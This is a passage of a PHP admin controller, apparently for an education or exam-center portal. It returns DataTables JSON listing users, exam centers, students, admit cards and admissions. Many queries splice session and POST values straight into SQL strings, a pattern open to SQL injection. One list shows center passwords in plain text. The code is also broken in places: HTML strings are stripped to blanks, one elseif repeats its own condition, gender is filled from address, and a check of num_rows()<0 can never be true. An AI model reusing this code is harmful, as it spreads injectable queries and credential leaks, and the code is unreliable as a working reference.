    '; $i++; $data[] = $nestedData; } } $json_data = array( "draw" => intval($this->input->post('draw')), "recordsTotal" => intval($totalData), "recordsFiltered" => intval($totalFiltered), "data" => $data ); echo json_encode($json_data); } /*--------------------- start BACKEND SETTING -----------------------------------------*/ public function backend_setting_list() { $columns = array( 0 => 'SR_NO', 1 => 'BRAND_NAME', 2 => 'BRAND_NAME', 3 => 'BRAND_NAME', ); $limit = $this->input->post('length'); $start = $this->input->post('start'); $order = $columns[$this->input->post('order')[0]['column']]; $dir = $this->input->post('order')[0]['dir']; $company_id = '1'; $status = '1'; $totalData = count_all_backend_setting_list(); $totalFiltered = $totalData; if (empty($this->input->post('search')['value'])) { $posts = all_backend_setting_list($limit, $start, $order, $dir); } else { $search = $this->input->post('search')['value']; $posts = backend_setting_list_search($limit, $start, $search, $order, $dir); $totalFiltered = backend_setting_list_search_count($search); } $data = array(); if (!empty($posts)) { $i = $start + 1; foreach ($posts as $post) { if($post->BACK_END_SHOW_HIDE == 1){ $check = ''; }else{ $check = 'checked'; } $nestedData['SR_NO'] = $i; $nestedData['FB_NAME'] = ''; $nestedData['FB_ORDER'] = ''; $nestedData['FB_SHOW_HIDE'] = ''; $i++; $data[] = $nestedData; } } $json_data = array( "draw" => intval($this->input->post('draw')), "recordsTotal" => intval($totalData), "recordsFiltered" => intval($totalFiltered), "data" => $data ); echo json_encode($json_data); } /*------------------- end BACKEND SETTING list ---------------------------------------*/ /*--------------------- start USER REGISTRATION SETTING -----------------------------------------*/ public function new_user_registration_list() { $columns = array( 0 => 'SR_NO', 1 => 'BRAND_NAME', 2 => 'BRAND_NAME', 3 => 'BRAND_NAME', ); $limit = $this->input->post('length'); $start = $this->input->post('start'); $order = $columns[$this->input->post('order')[0]['column']]; $dir = $this->input->post('order')[0]['dir']; $company_id = '1'; $status = '1'; $totalData = count_all_new_user_list(); $totalFiltered = $totalData; if (empty($this->input->post('search')['value'])) { $posts = all_new_user_list($limit, $start, $order, $dir); } else { $search = $this->input->post('search')['value']; $posts = new_user_list_search($limit, $start, $search, $order, $dir); $totalFiltered = new_user_list_search_count($search); } $data = array(); if (!empty($posts)) { $i = $start + 1; foreach ($posts as $post) { $state = get_state_by_id($post->district_state); $district = get_district_by_id($post->city); $app_state = get_state_by_id($post->apprearing_disctrict); $app_dis = get_district_by_id($post->appearing_city); if($post->exam_type ==1){ $exam_type = 'OFF LINE'; }elseif($post->exam_type == 1){ $exam_type = 'ON LINE'; }else{ $exam_type = ''; } $total_downloads = $this->db->query("SELECT COUNT(*) AS COUNT FROM `product_download_history` WHERE `USER_ID` = '".$post->USER_ID."' ")->row(); $nestedData['SR_NO'] = $i; $nestedData['name'] = $post->name; $nestedData['email'] = $post->email; $nestedData['mobile'] = $post->mobile; $nestedData['address'] = $post->address; $nestedData['dob'] = $post->dob; $nestedData['father_name'] = $post->father_name; $nestedData['mother_name'] = $post->mother_name; $nestedData['gender'] = $post->GENDER_NAME; $nestedData['category'] = $post->CAST_NAME; $nestedData['city'] = $district[0]->DISTRICT_NAME; $nestedData['appearing_school_name'] = $post->appearing_school_name; $nestedData['apprearing_disctrict'] = $app_state; $nestedData['appearing_city'] = $app_dis[0]->DISTRICT_NAME; $nestedData['enroll_for'] = $post->ENROLL_NAME; $nestedData['course'] = $post->brand_name; $nestedData['exam_type'] = $exam_type; $nestedData['registration_date'] = $post->date; $nestedData['total_downloads'] = $total_downloads->COUNT; $nestedData['action'] = 'View Detail'; $i++; $data[] = $nestedData; } } $json_data = array( "draw" => intval($this->input->post('draw')), "recordsTotal" => intval($totalData), "recordsFiltered" => intval($totalFiltered), "data" => $data ); echo json_encode($json_data); } /*------------------- end USER REGISTRATION list ---------------------------------------*/ /*---------------------- START CENTER LIST ------------------------------------------------*/ public function center_list() { $columns = array( 0 => 'SR_NO', 1 => 'MEASUREMENT_NAME', 2 => 'MEASUREMENT_NAME', 3 => 'MEASUREMENT_NAME', 4 => 'MEASUREMENT_NAME', 5 => 'MEASUREMENT_NAME', 6 => 'MEASUREMENT_NAME', 7 => 'MEASUREMENT_NAME', 8 => 'MEASUREMENT_NAME', 9 => 'MEASUREMENT_NAME', 10 => 'MEASUREMENT_NAME', 11 => 'MEASUREMENT_NAME', 12 => 'MEASUREMENT_NAME', 13 => 'MEASUREMENT_NAME', 14 => 'MEASUREMENT_NAME', 15 => 'MEASUREMENT_NAME', 16 => 'MEASUREMENT_NAME', 17 => 'MEASUREMENT_NAME', 18 => 'MEASUREMENT_NAME', 19 => 'MEASUREMENT_NAME', 20 => 'MEASUREMENT_NAME', ); $limit = $this->input->post('length'); $start = $this->input->post('start'); $order = $columns[$this->input->post('order')[0]['column']]; $dir = $this->input->post('order')[0]['dir']; $totalData = count_all_center_list(); $totalFiltered = $totalData; if (empty($this->input->post('search')['value'])) { $posts = all_center_list($limit, $start, $order, $dir); } else { $search = $this->input->post('search')['value']; $posts = center_list_search($limit, $start, $search, $order, $dir); $totalFiltered = center_list_search_count($search); } $data = array(); if (!empty($posts)) { $i = $start + 1; foreach ($posts as $post) { $image = '
    '; if($post->status ==1){ $status = ''.$post->name.' (ACTIVE)'; }else{ $status = ''.$post->name.' (IN-ACTIVE)'; } $nestedData['SR_NO'] = $i; $nestedData['PHOTO'] = $image; $nestedData['OWNER_NAME'] = $status; $nestedData['INSTITUTE_NAME'] = $post->institute_name; $nestedData['DOB'] = $post->dob; $nestedData['PANCARD'] = $post->pan_number; $nestedData['AADHAR_CARD'] = $post->aadhar_number; $nestedData['INSTITUTE_ADDRESS'] = $post->center_full_address; $nestedData['STATE'] = @$post->STATE_NAME; $nestedData['DISTRICT'] = @$post->DISTRICT_NAME; $nestedData['CLASS_ROOMS'] = $post->no_of_class_room; $nestedData['INSTITTUTE_HEAD'] = $post->qualification_of_center_head; $nestedData['RECEPTION'] = $post->reception; $nestedData['STAFF'] = $post->staff_room; $nestedData['WATER_SUPPLY'] = $post->water_supply; $nestedData['TOILET'] = $post->toilet; $nestedData['PASSWORD'] = @''.$post->email_id.' ('.$post->center_password.') '; $nestedData['CITY_NAME'] = $post->city_name; $nestedData['MOBILE'] = $post->contact_number; $nestedData['EMAIL'] = $post->email_id; $nestedData['SEAT_CAPACITY'] = $post->space_of_computer_center; $nestedData['COMPUTER_LAB'] = $post->no_of_computer_operator; $nestedData['FIRST_AID'] = $post->first_aid; $nestedData['ACTION'] = '
    '; $i++; $data[] = $nestedData; } } $json_data = array( "draw" => intval($this->input->post('draw')), "recordsTotal" => intval($totalData), "recordsFiltered" => intval($totalFiltered), "data" => $data ); echo json_encode($json_data); } /*----------------------- END CENTER LIST --------------------------------------------------*/ /*---------------------------------------Show Student----------------------------------------*/ public function show_student() { $columns = array( 0 => 'SR_NO', 1 => 'FQUESTION', 2 => 'FQUESTION', 3 => 'FQUESTION', 4 => 'FQUESTION', 5 => 'FQUESTION', 6 => 'FQUESTION', 7 => 'FQUESTION', ); $limit = $this->input->post('length'); $start = $this->input->post('start'); $order = $columns[$this->input->post('order')[0]['column']]; $dir = $this->input->post('order')[0]['dir']; if(empty($_POST['year'])){ $year=0; }else{ $year=$_POST['year']; } //print_r($this->session->all_userdata()); if($_SESSION['type'] == 1){ $center = 'all'; $type=$_SESSION['type']; }else{ $centers = $this->db->query("SELECT * FROM `centers` WHERE `id` = '".$_SESSION['loginid']."' ")->row(); $center=$centers->id; $type=$_SESSION['type']; } $course = $_POST['course_id']; $courses=$this->db->get_where('courses',['id'=>$course])->row(); $duration=$courses->duration; $dates=date('Y-m-d'); $exam_date=$this->db->query('select * from exam_schedule where course_id="'.$course.'" and year="'.$year.'" ')->result(); $date=new DateTime('now'); $date=$date->modify('-'.$duration.'months'); $status=$date->format('Y-m-d'); // die(var_dump($status)); //echo 'courseid-'.$course.',centerid-'.$center.', type-'.$type.', year'.$year.' '; $totalData = count_all_show_student($status,$course,$center,$type,$year); $totalFiltered = $totalData; if (empty($this->input->post('search')['value'])) { $posts = all_show_student($limit, $start, $order, $dir,$status,$course,$center,$type,$year); } else { $search = $this->input->post('search')['value']; $posts = show_student_search($limit, $start, $search, $order, $dir,$status,$course,$center,$type,$year); $totalFiltered = show_student_search_count($search,$status,$course,$center,$type,$year); } $data = array(); // $content='
    '; //print_r($posts); if (!empty($posts)) { $i = $start + 1; foreach ($posts as $post) { $content='
    '; $check=$this->db->query("select * from Assign_exam_student where student_id='".$post->student_id."' and subject_id='".$post->subject_id."' "); $checks=$check->row(); if ($check->num_rows() >0) { $type=$checks->type; if($type==0){ $s_type='theory Exam Scheduled'; }else{ $s_type='practical Exam Scheduled'; } if($check->num_rows()==1){ $status = ''.$s_type.''; }else{ $status = 'Exam scheduled'; } }else{ $status = 'Pending'; } $nestedData['SR_NO'] = $i; $nestedData['name'] = $post->student_name; $nestedData['mobile'] = $post->mobile; $nestedData['course'] = $post->course_name; if($post->practical==1){ $subject_type='PRACTICAL'; }elseif($post->practical==0){ $subject_type='THEORY'; }else{ $subject_type='both'; } if($post->practical==2){ $nestedData['course_type'] = ''; }else{ $nestedData['course_type'] = ''.$subject_type; } $nestedData['subject'] = $post->subject_name; $nestedData['session'] = ''.$post->start.' - '.$post->end.' ';; $nestedData['doa'] = $post->addmission_date; $nestedData['enroll_no'] = $post->enrollment_no; $nestedData['center'] = $post->institute_name; $nestedData['exam_date'] = $content; $nestedData['status'] = $status; $i++; $data[] = $nestedData; } } $json_data = array( "draw" => intval($this->input->post('draw')), "recordsTotal" => intval($totalData), "recordsFiltered" => intval($totalFiltered), "data" => $data ); echo json_encode($json_data); } /*--------- start default show listing ---------------------------------------*/ public function show_student2() { $columns = array( 0 => 'SR_NO', 1 => 'FQUESTION', 2 => 'FQUESTION', 3 => 'FQUESTION', 4 => 'FQUESTION', 5 => 'FQUESTION', 6 => 'FQUESTION', 7 => 'FQUESTION', ); $limit = $this->input->post('length'); $start = $this->input->post('start'); $order = $columns[$this->input->post('order')[0]['column']]; $dir = $this->input->post('order')[0]['dir']; if(empty($_POST['year'])){ $year=0; }else{ $year=$_POST['year']; } if($_SESSION['type'] == 1){ $center = 'all'; $type=$_SESSION['type']; }else{ $centers = $this->db->query("SELECT * FROM `centers` WHERE `id` = '".$_SESSION['loginid']."' ")->row(); $center=$centers->id; $type=$_SESSION['type']; } $course = $_POST['course_id']; $courses=$this->db->get_where('courses',['id'=>$course])->row(); $duration=$courses->duration; $dates=date('Y-m-d'); $exam_date=$this->db->query('select * from exam_schedule where course_id="'.$course.'" and year="'.$year.'" ')->result(); $date=new DateTime('now'); $date=$date->modify('-'.$duration.'months'); $status=$date->format('Y-m-d'); $totalData = count_all_show_student2($status,$course,$center,$type,$year); $totalFiltered = $totalData; if (empty($this->input->post('search')['value'])) { $posts = all_show_student2($limit, $start, $order, $dir,$status,$course,$center,$type,$year); } else { $search = $this->input->post('search')['value']; $posts = show_student_search2($limit, $start, $search, $order, $dir,$status,$course,$center,$type,$year); $totalFiltered = show_student_search_count2($search,$status,$course,$center,$type,$year); } $data = array(); if (!empty($posts)) { $i = $start + 1; foreach ($posts as $post) { $content='
    '; $check=$this->db->query("select * from Assign_exam_student where student_id='".$post->student_id."' and subject_id='".$post->subject_id."' "); $checks=$check->row(); if ($check->num_rows() >0) { $type=$checks->type; if($type==0){ $s_type='theory Exam Scheduled'; }else{ $s_type='practical Exam Scheduled'; } if($check->num_rows()==1){ $status = ''.$s_type.''; }else{ $status = 'Exam scheduled'; } }else{ $status = 'Pending'; } $nestedData['SR_NO'] = $i; $nestedData['name'] = $post->student_name; $nestedData['mobile'] = $post->mobile; $nestedData['course'] = $post->course_name; if($post->practical==1){ $subject_type='PRACTICAL'; }elseif($post->practical==0){ $subject_type='theory'; }else{ $subject_type='both'; } if($post->practical==2){ $nestedData['course_type'] = ''; }else{ $nestedData['course_type'] = ''.$subject_type; } $nestedData['subject'] = $post->subject_name; $nestedData['session'] = $post->session; $nestedData['doa'] = $post->addmission_date; $nestedData['enroll_no'] = $post->enrollment_no; $nestedData['center'] = $post->institute_name; $nestedData['exam_date'] = $content; $nestedData['status'] = $status; $i++; $data[] = $nestedData; } } $json_data = array( "draw" => intval($this->input->post('draw')), "recordsTotal" => intval($totalData), "recordsFiltered" => intval($totalFiltered), "data" => $data ); echo json_encode($json_data); } /*--------------- end deault listing -----------------------------------------------*/ public function assign_exam_list() { $columns = array( 0 => 'SR_NO', 1 => 'FQUESTION', 2 => 'FQUESTION', 3 => 'FQUESTION', 4 => 'FQUESTION', 5 => 'FQUESTION', 6 => 'FQUESTION', 7 => 'FQUESTION', 8 => 'FQUESTION', 9 => 'FQUESTION', 10 => 'FQUESTION', ); if($_SESSION['type'] == 1){ $center = 'all'; }else{ $centers = $this->db->query("SELECT * FROM `centers` WHERE `id` = '".$_SESSION['loginid']."' ")->row(); $center=$centers->id; $type=$_SESSION['type']; } $limit = $this->input->post('length'); $start = $this->input->post('start'); $order = $columns[$this->input->post('order')[0]['column']]; $dir = $this->input->post('order')[0]['dir']; $totalData = count_all_assign_exam_student($center); $totalFiltered = $totalData; if (empty($this->input->post('search')['value'])) { $posts = all_assign_exam_student($limit, $start, $order, $dir,$center); } else { $search = $this->input->post('search')['value']; $posts = assign_exam__student_search($limit, $start, $search, $order, $dir,$center); $totalFiltered = assign_exam__student_search_count($search,$center); } // print_r($posts); $dates=date('Y-m-d'); $data = array(); if (!empty($posts)) { $i = $start + 1; foreach ($posts as $post) { if($post->exam_date<=$dates){ $content='exam held on '.date('d-m-Y',strtotime($post->exam_date)).''; }else{ $exam_date=$this->db->query('select * from exam_schedule where course_id="'.$post->course_id.'" and exam_date >= "'.$dates.'"')->result(); $content='
    '; } $nestedData['SR_NO'] = $i; $nestedData['name'] = @$post->student_name; $nestedData['mobile'] = $post->mobile; $nestedData['course'] = $post->course_name; $nestedData['session'] = @$post->start.'-'.@$post->end; $nestedData['doa'] = $post->addmission_date; $nestedData['enroll_no'] = $post->enrollment_no; $nestedData['center'] = @$post-> it_name; $nestedData['exam_date'] = $content; $nestedData['start_date'] = $post->start_time; $nestedData['end_date'] = $post->end_time; $nestedData['status'] = '
    '; $i++; $data[] = $nestedData; } } $json_data = array( "draw" => intval($this->input->post('draw')), "recordsTotal" => intval($totalData), "recordsFiltered" => intval($totalFiltered), "data" => $data ); echo json_encode($json_data); } /*---------------------- START SUTDENT LIST ------------------------------------------------*/ public function student_list() { $columns = array( 0 => 'SR_NO', 1 => 'MEASUREMENT_NAME', 2 => 'MEASUREMENT_NAME', 3 => 'MEASUREMENT_NAME', 4 => 'MEASUREMENT_NAME', 5 => 'MEASUREMENT_NAME', 6 => 'MEASUREMENT_NAME', 7 => 'MEASUREMENT_NAME', 8 => 'MEASUREMENT_NAME', 9 => 'MEASUREMENT_NAME', 10 => 'MEASUREMENT_NAME', 11 => 'MEASUREMENT_NAME', 12 => 'MEASUREMENT_NAME', 13 => 'MEASUREMENT_NAME', 14 => 'MEASUREMENT_NAME', 15 => 'MEASUREMENT_NAME', 16 => 'MEASUREMENT_NAME', 17 => 'MEASUREMENT_NAME', ); $limit = $this->input->post('length'); $start = $this->input->post('start'); $order = $columns[$this->input->post('order')[0]['column']]; $dir = $this->input->post('order')[0]['dir']; if($_SESSION['type'] == 1){ $center = 'all'; }else{ $center = $this->db->query("SELECT * FROM `centers` WHERE `id` = '".$_SESSION['loginid']."' ")->row('id'); } $totalData = count_all_student_list($center); $totalFiltered = $totalData; if (empty($this->input->post('search')['value'])) { $posts = all_student_list($limit, $start, $order, $dir,$center); } else { $search = $this->input->post('search')['value']; $posts = student_list_search($limit, $start, $search, $order, $dir,$center); $totalFiltered = student_list_search_count($search,$center); } $data = array(); if (!empty($posts)) { $i = $start + 1; foreach ($posts as $post) { if($post->status == 1){ $status = 'ACTIVE'; }else{ $status = 'CANCEL'; } $image = '
    '; $image2 = '
    '; $image3 = '
    '; $nestedData['SR_NO'] = $i; $nestedData['PHOTO'] = $image; $nestedData['SIG'] = $image2; $nestedData['LEFT_THUMB'] = $image3; $nestedData['ENTOLLMENT'] = $post->enrollment_no; $nestedData['STUDENT_NAME'] = $post->student_name; $nestedData['GENDER'] = $post->address; $nestedData['FATHER_NAME'] = $post->father; $nestedData['MOTHER_NAME'] = $post->mother; $nestedData['DOB'] = $post->student_dob; $nestedData['MOBILE'] = $post->mobile; $nestedData['EMAIL'] = $post->email; $nestedData['STATE'] = @$post->state; $nestedData['DISTRICT'] = @$post->distric; $nestedData['EXAM_PASS'] = $post->category; $nestedData['MARKS'] = $post->disability; $nestedData['USER_NAME'] = $post->username; $nestedData['COURSE_NAME'] = $post->course_name; $nestedData['CENTER_NAME'] = $post->institute_name; $nestedData['CITY'] = $post->city; $nestedData['PINCODE'] = $post->pincode; $nestedData['HIGHEST_QUALIFICATION'] = $post->highest_qualification; $nestedData['PASSING_YEAR'] = $post->passing_year; $nestedData['ADHAR_NUMBER'] = $post->adhar_number; $nestedData['STATUS'] = $status; $result=$this->db->get_where('results',['enrollment_no'=>$post->enrollment_no])->num_rows(); $admit=$this->db->get_where('admit_card',['enrollment_no'=>$post->enrollment_no])->num_rows(); if($result<0 or $admit <0){ $nestedData['ACTION'] = ' '; }else{ $nestedData['ACTION'] = ' '; } $i++; $data[] = $nestedData; } } $json_data = array( "draw" => intval($this->input->post('draw')), "recordsTotal" => intval($totalData), "recordsFiltered" => intval($totalFiltered), "data" => $data ); echo json_encode($json_data); } public function download_admit_card() { $columns = array( 0 => 'SR_NO', 1 => 'MEASUREMENT_NAME', 2 => 'MEASUREMENT_NAME', 3 => 'MEASUREMENT_NAME', 4 => 'MEASUREMENT_NAME', 5 => 'MEASUREMENT_NAME', 6 => 'MEASUREMENT_NAME', 7 => 'MEASUREMENT_NAME', 8 => 'MEASUREMENT_NAME', 9 => 'MEASUREMENT_NAME', 10 => 'MEASUREMENT_NAME', 11 => 'MEASUREMENT_NAME', 12 => 'MEASUREMENT_NAME', 13 => 'MEASUREMENT_NAME', 14 => 'MEASUREMENT_NAME', 15 => 'MEASUREMENT_NAME', 16 => 'MEASUREMENT_NAME', 17 => 'MEASUREMENT_NAME', ); $limit = $this->input->post('length'); $start = $this->input->post('start'); $order = $columns[$this->input->post('order')[0]['column']]; $dir = $this->input->post('order')[0]['dir']; if($_SESSION['type'] == 1){ $center = 'all'; }else{ $centers = $this->db->query("SELECT * FROM `centers` WHERE `id` = '".$_SESSION['loginid']."' ")->row(); $center=$centers->id; // die(var_dump($center)); } $totalData = count_download_admit_card($center); $totalFiltered = $totalData; if (empty($this->input->post('search')['value'])) { $posts = all_download_admit_card($limit, $start, $order, $dir,$center); } else { $search = $this->input->post('search')['value']; $posts = download_admit_card_list_search($limit, $start, $search, $order, $dir,$center); $totalFiltered = download_admit_card_list_search_count($search,$center); } $data = array(); if (!empty($posts)) { $i = $start + 1; foreach ($posts as $post) { if($post->status == 1){ $status = 'ACTIVE'; }else{ $status = 'CANCEL'; } $image = '
    '; $nestedData['SR_NO'] = $i; $nestedData['PHOTO'] = $image; $nestedData['ENTOLLMENT'] = $post->enrollment_no; $nestedData['STUDENT_NAME'] = $post->name; $nestedData['COURSE'] = ''.$post->course_name.' / '.$post->course_year.' Year'; $nestedData['SESSION'] = $post->start.'-'.$post->end; $nestedData['FATHER_NAME'] = $post->father; $nestedData['MOTHER_NAME'] = $post->mother; $nestedData['DOB'] = $post->dob; $nestedData['MOBILE'] = $post->mobile; $nestedData['EMAIL'] = $post->email; $nestedData['ADDRESS'] = $post->address; $nestedData['CENTER_NAME'] = $post->institute_name; $nestedData['ACTION'] = '
    '; $i++; $data[] = $nestedData; } } $json_data = array( "draw" => intval($this->input->post('draw')), "recordsTotal" => intval($totalData), "recordsFiltered" => intval($totalFiltered), "data" => $data ); echo json_encode($json_data); } // student pending list public function student_pending_list() { $columns = array( 0 => 'SR_NO', 1 => 'MEASUREMENT_NAME', 2 => 'MEASUREMENT_NAME', 3 => 'MEASUREMENT_NAME', 4 => 'MEASUREMENT_NAME', 5 => 'MEASUREMENT_NAME', 6 => 'MEASUREMENT_NAME', 7 => 'MEASUREMENT_NAME', 8 => 'MEASUREMENT_NAME', 9 => 'MEASUREMENT_NAME', 10 => 'MEASUREMENT_NAME', 11 => 'MEASUREMENT_NAME', 12 => 'MEASUREMENT_NAME', 13 => 'MEASUREMENT_NAME', 14 => 'MEASUREMENT_NAME', 15 => 'MEASUREMENT_NAME', 16 => 'MEASUREMENT_NAME', 17 => 'MEASUREMENT_NAME', ); $limit = $this->input->post('length'); $start = $this->input->post('start'); $order = $columns[$this->input->post('order')[0]['column']]; $dir = $this->input->post('order')[0]['dir']; if($_SESSION['type'] == 1){ $center = 'all'; }else{ $centers = $this->db->query("SELECT * FROM `centers` WHERE `id` = '".$_SESSION['loginid']."' ")->row(); $center=$centers->id; // die(var_dump($center)); } $totalData = count_all_student_pending_list($center); $totalFiltered = $totalData; if (empty($this->input->post('search')['value'])) { $posts = all_student_pending_list($limit, $start, $order, $dir,$center); } else { $search = $this->input->post('search')['value']; $posts = student_pending_list_search($limit, $start, $search, $order, $dir,$center); $totalFiltered = student_pending_list_search_count($search,$center); } $data = array(); if (!empty($posts)) { $i = $start + 1; foreach ($posts as $post) { if($post->pay_status == 0){ $status = 'PENDING'; }else{ $status = 'CANCEL'; } $image = '
    '; $image2 = '
    '; $image3 = '
    '; $nestedData['SR_NO'] = $i; $nestedData['ENTOLLMENT'] = $post->enrollment_no; $nestedData['STUDENT_NAME'] = $post->student_name; $nestedData['GENDER'] = $post->address; $nestedData['FATHER_NAME'] = $post->father; $nestedData['MOTHER_NAME'] = $post->mother; $nestedData['DOB'] = $post->student_dob; $nestedData['MOBILE'] = $post->mobile; $nestedData['EMAIL'] = $post->email; $nestedData['STATE'] = @$post->state; $nestedData['DISTRICT'] = @$post->distric; $nestedData['EXAM_PASS'] = $post->category; $nestedData['MARKS'] = $post->disability; $nestedData['USER_NAME'] = $post->username; $nestedData['COURSE_NAME'] = $post->course_name; $nestedData['CENTER_NAME'] = $post->institute_name; $nestedData['CITY'] = $post->city; $nestedData['PINCODE'] = $post->pincode; $nestedData['HIGHEST_QUALIFICATION'] = $post->highest_qualification; $nestedData['PASSING_YEAR'] = $post->passing_year; $nestedData['ADHAR_NUMBER'] = $post->adhar_number; $nestedData['PHOTO'] = $image; $nestedData['SIG'] = $image2; $nestedData['LEFT_THUMB'] = $image3; $nestedData['STATUS'] = $status; if($_SESSION['type'] == 1){ $approve_status = '
  • APPROVE ADMISSION
  • '; }else{ $approve_status = ''; } $nestedData['ACTION'] = '
    '; $i++; $data[] = $nestedData; } } $json_data = array( "draw" => intval($this->input->post('draw')), "recordsTotal" => intval($totalData), "recordsFiltered" => intval($totalFiltered), "data" => $data ); echo json_encode($json_data); } // student approve list public function student_approve_list() { $columns = array( 0 => 'SR_NO', 1 => 'MEASUREMENT_NAME', 2 => 'MEASUREMENT_NAME', 3 => 'MEASUREMENT_NAME', 4 => 'MEASUREMENT_NAME', 5 => 'MEASUREMENT_NAME', 6 => 'MEASUREMENT_NAME', 7 => 'MEASUREMENT_NAME', 8 => 'MEASUREMENT_NAME', 9 => 'MEASUREMENT_NAME', 10 => 'MEASUREMENT_NAME', 11 => 'MEASUREMENT_NAME', 12 => 'MEASUREMENT_NAME', 13 => 'MEASUREMENT_NAME', 14 => 'MEASUREMENT_NAME', 15 => 'MEASUREMENT_NAME', 16 => 'MEASUREMENT_NAME', 17 => 'MEASUREMENT_NAME', ); $limit = $this->input->post('length'); $start = $this->input->post('start'); $order = $columns[$this->input->post('order')[0]['column']]; $dir = 'DESC'; //$dir = $this->input->post('order')[0]['dir']; if($_SESSION['type'] == 1){ $center = 'all'; }else{ $centers = $this->db->query("SELECT * FROM `centers` WHERE `id` = '".$_SESSION['loginid']."' ")->row(); $center=$centers->id; // die(var_dump($center)); } $totalData = count_all_student_approve_list($center); $totalFiltered = $totalData; if (empty($this->input->post('search')['value'])) { $posts = all_student_approve_list($limit, $start, $order, $dir,$center); } else { $search = $this->input->post('search')['value']; $posts = student_approve_list_search($limit, $start, $search,$order,$dir,$center); $totalFiltered = student_approve_list_search_count($search,$center); } $data = array(); if (!empty($posts)) { $i = $start + 1; foreach ($posts as $post) { if($post->pay_status == 1){ $status = 'APPROVE'; $enrollment = ''.$post->enroll.'
    ( '.date("d-m-Y", strtotime($post->addmission_date)) .' )
    '; $payment = ' Paid '.$post->BATCH_NAME.' '; }else{ $status = 'CANCEL'; $enrollment = ''.$post->enroll.'
    ( '.date("d-m-Y", strtotime($post->addmission_date)) .' )
    '; $payment = ' Pending '.$post->BATCH_NAME.' '; } $image = '
    '; $image2 = '
    '; $image3 = '
    '; $center_name = ''.$post->institute_name.' ( '.$post->center_number.' ) '; $nestedData['SR_NO'] = $i; $nestedData['ENTOLLMENT'] = $enrollment.$center_name; $nestedData['STUDENT_NAME'] = $post->student_name.$payment; $nestedData['GENDER'] = $post->address; $nestedData['FATHER_NAME'] = $post->father; $nestedData['MOTHER_NAME'] = $post->mother; $nestedData['DOB'] = date("d-m-Y", strtotime($post->student_dob)) ; $nestedData['MOBILE'] = $post->mobile; $nestedData['EMAIL'] = $post->email; $nestedData['STATE'] = @$post->STATE_NAME; $nestedData['DISTRICT'] = @$post->DISTRICT_NAME; $nestedData['EXAM_PASS'] = @$post->brand_name; $nestedData['MARKS'] = $post->disability; $nestedData['USER_NAME'] = $post->email; $nestedData['COURSE_NAME'] = $post->course_name; $nestedData['CENTER_NAME'] = $post->institute_name; $nestedData['CITY'] = $post->city; $nestedData['PINCODE'] = $post->pincode; $nestedData['HIGHEST_QUALIFICATION'] = $post->highest_qualification; $nestedData['PASSING_YEAR'] = $post->passing_year; $nestedData['ADHAR_NUMBER'] = $post->adhar_number; $nestedData['PHOTO'] = $image; $nestedData['SIG'] = $image2; $nestedData['LEFT_THUMB'] = $image3; $tc_date=date('Y-m-d',strtotime(@$post->tc_issue_date)); if($_SESSION['type'] == 1){ $tc_field = ' Marksheet Publish Date : '.'
    '; }else{ $tc_field = ''; } if($_SESSION['type'] == 1){ $certifcate = ''.'


    '; }else{ $certifcate = ''; } $nestedData['STATUS'] = $status; if($_SESSION['type'] == 1){ $approve_status = '
  • CANCEL ADMISSION
  • '; }else{ $approve_status = ''; } if($_SESSION['type'] == 1 && isset($post->rid)){ $print_tc = '
  • PRINT TC
  • '; }else{ $print_tc = '  RESULT IS NOT GENERATED'; } $nestedData['ACTION'] = '
    '; $i++; $data[] = $nestedData; } } $json_data = array( "draw" => intval($this->input->post('draw')), "recordsTotal" => intval($totalData), "recordsFiltered" => intval($totalFiltered), "data" => $data ); echo json_encode($json_data); } // student cancel list public function student_cancel_list() { $columns = array( 0 => 'SR_NO', 1 => 'MEASUREMENT_NAME', 2 => 'MEASUREMENT_NAME', 3 => 'MEASUREMENT_NAME', 4 => 'MEASUREMENT_NAME', 5 => 'MEASUREMENT_NAME', 6 => 'MEASUREMENT_NAME', 7 => 'MEASUREMENT_NAME', 8 => 'MEASUREMENT_NAME', 9 => 'MEASUREMENT_NAME', 10 => 'MEASUREMENT_NAME', 11 => 'MEASUREMENT_NAME', 12 => 'MEASUREMENT_NAME', 13 => 'MEASUREMENT_NAME', 14 => 'MEASUREMENT_NAME', 15 => 'MEASUREMENT_NAME', 16 => 'MEASUREMENT_NAME', 17 => 'MEASUREMENT_NAME', ); $limit = $this->input->post('length'); $start = $this->input->post('start'); $order = $columns[$this->input->post('order')[0]['column']]; $dir = $this->input->post('order')[0]['dir']; if($_SESSION['type'] == 1){ $center = 'all'; }else{ $centers = $this->db->query("SELECT * FROM `centers` WHERE `id` = '".$_SESSION['loginid']."' ")->row(); $center=$centers->id; // die(var_dump($center)); } $totalData = count_all_student_cancel_list($center); $totalFiltered = $totalData; if (empty($this->input->post('search')['value'])) { $posts = all_student_cancel_list($limit, $start, $order, $dir,$center); } else { $search = $this->input->post('search')['value']; $posts = student_cancel_list_search($limit, $start, $search, $order, $dir,$center); $totalFiltered = student_cancel_list_search_count($search,$center); } $data = array(); if (!empty($posts)) { $i = $start + 1; foreach ($posts as $post) { if($post->pay_status == 2){ $status = 'CANCEL'; }else{ $status = ''; } $image = '
    '; $image2 = '
    '; $image3 = '
    '; $nestedData['SR_NO'] = $i; $nestedData['ENTOLLMENT'] = $post->enrollment_no; $nestedData['STUDENT_NAME'] = $post->student_name; $nestedData['GENDER'] = $post->address; $nestedData['FATHER_NAME'] = $post->father; $nestedData['MOTHER_NAME'] = $post->mother; $nestedData['DOB'] = $post->student_dob; $nestedData['MOBILE'] = $post->mobile; $nestedData['EMAIL'] = $post->email; $nestedData['STATE'] = @$post->STATE_NAME; $nestedData['DISTRICT'] = @$post->DISTRICT_NAME; $nestedData['EXAM_PASS'] = $post->brand_name; $nestedData['MARKS'] = $post->disability; $nestedData['USER_NAME'] = $post->username; $nestedData['COURSE_NAME'] = $post->course_name; $nestedData['CENTER_NAME'] = $post->institute_name; $nestedData['CITY'] = $post->city; $nestedData['PINCODE'] = $post->pincode; $nestedData['HIGHEST_QUALIFICATION'] = $post->highest_qualification; $nestedData['PASSING_YEAR'] = $post->passing_year; $nestedData['ADHAR_NUMBER'] = $post->adhar_number; $nestedData['PHOTO'] = $image; $nestedData['SIG'] = $image2; $nestedData['LEFT_THUMB'] = $image3; $nestedData['STATUS'] = $status; if($_SESSION['type'] == 1){ $approve_status = '
  • APPROVE ADMISSION
  • '; }else{ $approve_status = ''; } $nestedData['ACTION'] = '
